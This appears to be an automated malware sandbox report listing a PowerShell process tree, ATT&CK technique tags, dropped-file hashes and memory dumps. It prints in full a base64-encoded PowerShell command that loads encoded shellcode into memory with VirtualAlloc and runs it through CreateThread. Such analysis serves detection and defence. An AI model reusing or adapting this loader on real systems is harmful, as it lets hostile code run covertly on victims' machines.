DsAfQA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -enc JAAwAFIAQwAyACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAMABSAEMAMgAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkADkALAAwAHgAYwA5ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeABiADgALAAwAHgAOAA4ACwAMAB4ADkAZAAsADAAeAAwAGIALAAwAHgAYwA3ACwAMAB4ADUAZQAsADAAeAAzADEALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAMwAxACwAMAB4ADQANgAsADAAeAAxADcALAAwAHgAMAAzACwAMAB4ADQANgAsADAAeAAxADcALAAwAHgAOAAzACwAMAB4ADQAZQAsADAAeAA5ADkALAAwAHgAZQA5ACwAMAB4ADMAMgAsADAAeABiADIALAAwAHgANABhACwAMAB4ADYAMgAsADAAeABiAGMALAAwAHgANABhACwAMAB4ADgAYgAsADAAeAAxAGQALAAwAHgAMwA0ACwAMAB4AGEAZgAsADAAeABiAGEALAAwAHgAMABmACwAMAB4ADIAMgAsADAAeABhADQALAAwAHgAZQBmACwAMAB4ADkAZgAsADAAeAAyADAALAAwAHgAZQA4ACwAMAB4ADAAMwAsADAAeAA2AGIALAAwAHgANgA0ACwAMAB4ADEAOAAsADAAeAA5ADcALAAwAHgAMQA5ACwAMAB4AGEAMQAsADAAeAAyAGYALAAwAHgAMQAwACwAMAB4ADkANwAsADAAeAA5ADcALAAwAHgAMQBlACwAMAB4AGEAMQAsADAAeAAxADkALAAwAHgAMQA4ACwAMAB4AGMAYwAsADAAeAA2ADEALAAwAHgAMwBiACwAMAB4AGUANAAsADAAeAAwAGUALAAwAHgAYgA2ACwAMAB4ADkAYgAsADAAeABkADUALAAwAHgAYwAxACwAMAB4AGMAYgAsADAAeABkAGEALAAwAHgAMQAyACwAMAB4ADkANAAsADAAeABhADYALAAwAHgAMwAzACwAMAB4AGMAZQAsADAAeABhAGQALAAwAHgAMQBiACwAMAB4AGQAYwAsADAAeABiADgALAAwAHgAMwBhACwAMAB4AGQAOQAsADAAeABlADAALAAwAHgANAA3ACwAMAB4AGUAYwAsADAAeAA1ADUALAAwAHgANQA4ACwAMAB4ADMAMAAsADAAeAA4ADkALAAwAHgAYQBhACwAMAB4ADIAZAAsADAAeAA4AGMALAAwAHgAOQAwACwAMAB4AGYAYQAsADAAeAA0ADUALAAwAHgANAA0ACwAMAB4ADgAYQAsADAAeAA3ADEALAAwAHgAMAAxACwAMAB4ADcANQAsADAAeABhAGIALAAwAHgANQA2ACwAMAB4AGUAMgAsADAAeABmADAALAAwAHgANgAyACwAMAB4ADIAYwAsADAAeAAzAGYALAAwAHgAYwBhACwAMAB4ADgAYgAsADAAeAA4ADQALAAwAHgAYgA0ACwAMAB4ADEAOAAsADAAeABmADgALAAwAHgAMQA2ACwAMAB4ADEAZAAsADAAeAA1ADEALAAwAHgAMwBlACwAMAB4AGIANAAsADAAeAA2ADAALAAwAHgANQBkACwAMAB4AGIAMwAsADAAeABjADQALAAwAHgAYQA1ACwAMAB4ADUAYQAsADAAeAAyAGIALAAwAHgAYgAzACwAMAB4AGQAZAAsADAAeAA5ADgALAAwAHgAZAA2ACwAMAB4AGMANAAsADAAeAAyADUALAAwAHgAZQAyACwAMAB4ADAAYwAsADAAeAA0ADAALAAwAHgAYgBhACwAMAB4ADQANAAsADAAeABjADcALAAwAHgAZgAyACwAMAB4ADEAZQAsADAAeAA3ADQALAAwAHgAMAA0ACwAMAB4ADYANAAsADAAeABkADQALAAwAHgANwBhACwAMAB4AGUAMQAsADAAeABlADIALAAwAHgAYgAyACwAMAB4ADkAZQAsADAAeABmADQALAAwAHgAMgA3ACwAMAB4AGMAOQAsADAAeAA5AGIALAAwAHgANwBkACwAMAB4AGMANgAsADAAeAAxAGUALAAwAHgAMgBhACwAMAB4AGMANQAsADAAeABlAGQALAAwAHgAYgBhACwAMAB4ADcANgAsADAAeAA5AGUALAAwAHgAOABjACwAMAB4ADkAYgAsADAAeABkADIALAAwAHgANwAxACwAMAB4AGIAMAAsADAAeABmAGMALAAwAHgAYgBiACwAMAB4ADIAZQAsADAAeAAxADQALAAwAHgANwA2ACwAMAB4ADIAOQAsADAAeAAzADkALAAwAHgAMgA4ACwAMAB4ADcANwAsADAAeABiADEALAAwAHgANAA2ACwAMAB4ADcANAAsADAAeABlADAALAAwAHgANwBkACwAMAB4ADgAYQAsADAAeAA4ADcALAAwAHgAZgAwACwAMAB4AGUAOQAsADAAeAA5AGQALAAwAHgAZgA0ACwAMAB4AGMAMgAsADAAeABiADYALAAwAHgAMwA1ACwAMAB4ADkAMwAsADAAeAA2AGUALAAwAHgAMwBlACwAMAB4ADkAMwAsADAAeAA2ADQALAAwAHgAZQA2ACwAMAB4ADIAOAAsADAAeAAyADQALAAwAHgAYgBhACwAMAB4ADQAMAAsADAAeAAzADgALAAwAHgAZABiACwAMAB4ADMAYgAsADAAeABiADEALAAwAHgAMQAwACwAMAB4ADEAZgAsADAAeAA2AGYALAAwAHgAZQAxACwAMAB4ADAAYQAsADAAeABiADYALAAwAHgAMQAwACwAMAB4ADYAYQAsADAAeABjAGIALAAwAHgAMwA3ACwAMAB4AGMANQAsADAAeAAwADcALAAwAHgAYwAxACwAMAB4AGEAZgAsADAAeAAyADYALAAwAHgANwBmACwAMAB4AGMANwAsADAAeAA0ADUALAAwAHgAYwBmACwAMAB4ADgAMgAsADAAeABlADgALAAwAHgAOAA4ACwAMAB4AGIAOAAsADAAeAAwAGEALAAwAHgAMABlACwAMAB4AGYAYQAsADAAeAA5ADYALAAwAHgANQBjACwAMAB4ADkAZgAsADAAeABiAGEALAAwAHgANAA2ACwAMAB4ADEAZAAsADAAeAA0AGYALAAwAHgANQAyACwAMAB4ADgAZAAsADAAeAA5ADIALAAwAHgAYgAwACwAMAB4ADQAMgAsADAAeABhAGUALAAwAHgANwA4ACwAMAB4AGQAOQAsADAAeABlADgALAAwAHgANAAxACwAMAB4AGQANQAsADAAeABiADEALAAwAHgAOAA0ACwAMAB4AGYAOAAsADAAeAA3AGMALAAwAHgANAA5ACwAMAB4ADMANQAsADAAeAAwADQALAAwAHgAYQBiACwAMAB4ADMANwAsADAAeAA3ADUALAAwAHgAOABlACwAMAB4ADUAOAAsADAAeABjADcALAAwAHgAMwBiACwAMAB4ADYANwAsADAAeAAxADQALAAwAHgAZABiACwAMAB4AGEAYgAsADAAeAA4ADcALAAwAHgANgAzACwAMAB4ADgAMQAsADAAeAA3AGQALAAwAHgAOQA3ACwAMAB4ADUAOQAsADAAeABhAGMALAAwAHgAOAAxACwAMAB4ADAAZAAsADAAeAA2ADYALAAwAHgANgA3ACwAMAB4AGQANgAsADAAeABiADkALAAwAHgANgA0ACwAMAB4ADUAZQAsADAAeAAxADAALAAwAHgANgA2ACwAMAB4ADkANgAsADAAeABiADUALAAwAHgAMgBiACwAMAB4AGEAZgAsADAAeAAwADIALAAwAHgANwA2ACwAMAB4ADQAMwAsADAAeABkADAALAAwAHgAYwAyACwAMAB4ADcANgAsADAAeAA5ADMALAAwAHgAOAA2ACwAMAB4ADgAOAAsADAAeAA3ADYALAAwAHgAZgBiACwAMAB4ADcAZQAsADAAeABlADkALAAwAHgAMgA0ACwAMAB4ADEAZQAsADAAeAA4ADEALAAwAHgAMgA0ACwAMAB4ADUAOQAsADAAeABiADMALAAwAHgAMQA0ACwAMAB4AGMANwAsADAAeAAwADgALAAwAHgANgAwACwAMAB4AGIAZQAsADAAeABhAGYALAAwAHgAYgA2ACwAMAB4ADUAZgAsADAAeAA4ADgALAAwAHgANgBmACwAMAB4ADQAOAAsADAAeAA4AGEALAAwAHgAMAA4ACwAMAB4ADUAMwAsADAAeAA5AGYALAAwAHgAZgAyACwAMAB4ADcAZQAsADAAeABiAGQALAAwAHgAMgAzADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJABPAFYAUQBKAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABPAFYAUQBKAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABPAFYAUQBKACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7AA==
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2948
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jpgfus9c.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2876
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES427.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC426.tmp"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES427.tmp

Filesize
1KB

MD5
b26d290212dccbdd57a0f189e49bfff7

SHA1
55ac8ef0092fcf5ba082b809f179dedb77b71cda

SHA256
bde95fb233283544e107feda506a17300b8592ee253d447d1ecec5abdba4179d

SHA512
7899674bcffdbb938b10e331881a3cfec396dfa9db41ab025d068ea9007c8a5bd6ac8084f9acaa6e7ae7dad6f140dedb2d403d42bc4fd35c4bf7feccfdbd4a2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\jpgfus9c.dll

Filesize
3KB

MD5
0388cc552a30f3fd3db96d2dae42a7bb

SHA1
ea3846671de6ab5b4c7b1cd5d805097b5fe44b98

SHA256
c59ca765db820a7464f755a96e24ba346e6265e1f191d76371eb45855df6b3a6

SHA512
92075fd25a3aaf8a3eb0e3e15f87d052609a1e049aea6c222242b11c0627fbb74223cdeeaa37691d3f2ad2232e49cd2aeffca1a4ea8be2f9d2fcd68f42f3b753

Download Submit
C:\Users\Admin\AppData\Local\Temp\jpgfus9c.pdb

Filesize
7KB

MD5
7cf4530403f76f597f93cdc7627d5f01

SHA1
225440fccb61ebb33ac789a77e940da61ac1e144

SHA256
3194c8885eff4ee2e899f8b413474945da185132eaafb072edda11de3b69cbf6

SHA512
d7a734bcf78cdc219228cc179bd6f4284281e8669db685c10c1aadda712c049f640f8a2487ac2c84283f686f3218118c390bd1511ad73e159c6eeffa4ce398e3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QW3LC2QPH7H92CBSMWD1.temp

Filesize
7KB

MD5
079805eda3641c87e5c2d5196c0a1b15

SHA1
24656023f6497e33ce715974ff6fb5b82f70c374

SHA256
42ba27009ec21e7d289a2870fa18bd621ce9346ec21dd50f34e0de30ff32d491

SHA512
8ffa6f4ae9e8e3cc74fdf1726ad208154a1f964cbdb4f16bd6bd9502e8f6b37ea020a1b47e8c088b3bfcef751201e5cde70bc99eb712fac1a2afc43d36dd360b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC426.tmp

Filesize
652B

MD5
8ccc76e423f945856d6ad379d4e61546

SHA1
a65aa1e67139d77bd7943fda6d9e49d36d5d2e77

SHA256
0a27a792c2629e8fd0a40310db04682f48e122140b0a6dacf1a54aeef2ae0ad4

SHA512
8b5e9536af62bef334ec2d3d3d8e3ab5ad3e53e5ed55ce33f0a61196b694cfcc633244805f5a06b5495deabb30e52fc92de8266d947c9d45e17ae5d85fdfd040

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jpgfus9c.0.cs

Filesize
557B

MD5
7319070c34daa5f6f2ece2dfc07119ee

SHA1
f26a4a48518a5608e93c8b77368f588b0433973c

SHA256
b240a9bb4f72d886522e19fa40b9c688fa94c1bd6dc7b7185f94e4466273a5dc

SHA512
34169fc9fb0cd2381c45efcd22ec1bc659ef513e73bc4c7bcb91ca1d5129a1a149e9f75297acb4958e52ff04d75e6e121232dbc0657611e41b63f10aa3e1d6bd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jpgfus9c.cmdline

Filesize
309B

MD5
9f518b997a8a5e98d9425df32c32f9b1

SHA1
43fb3b48cd39aa3484b0445bd50c341d73e63568

SHA256
6b1192f4753d3ca8b1a2d66d450de2a97dd8ea1e2643ea6662ea63add0d0f6d6

SHA512
aac25735469260ed00d88374a02fefb623af12752f4a8d96853f92241463d15cb92d9892a498d463210481f442ad06fdeb60dc95be8b29aaa50b12d627e83918

Download Submit
memory/2576-9-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-6-0x000007FEF4A7E000-0x000007FEF4A7F000-memory.dmp

Filesize
4KB

Download
memory/2576-8-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2576-34-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-7-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2576-11-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-12-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-13-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-33-0x000007FEF4A7E000-0x000007FEF4A7F000-memory.dmp

Filesize
4KB

Download
memory/2576-10-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2948-31-0x0000000002C80000-0x0000000002C81000-memory.dmp

Filesize
4KB

Download
memory/2968-32-0x000007FEF66F3000-0x000007FEF66F4000-memory.dmp

Filesize
4KB

Download
memory/2968-1-0x0000000000220000-0x000000000022A000-memory.dmp

Filesize
40KB

Download
memory/2968-0-0x000007FEF66F3000-0x000007FEF66F4000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads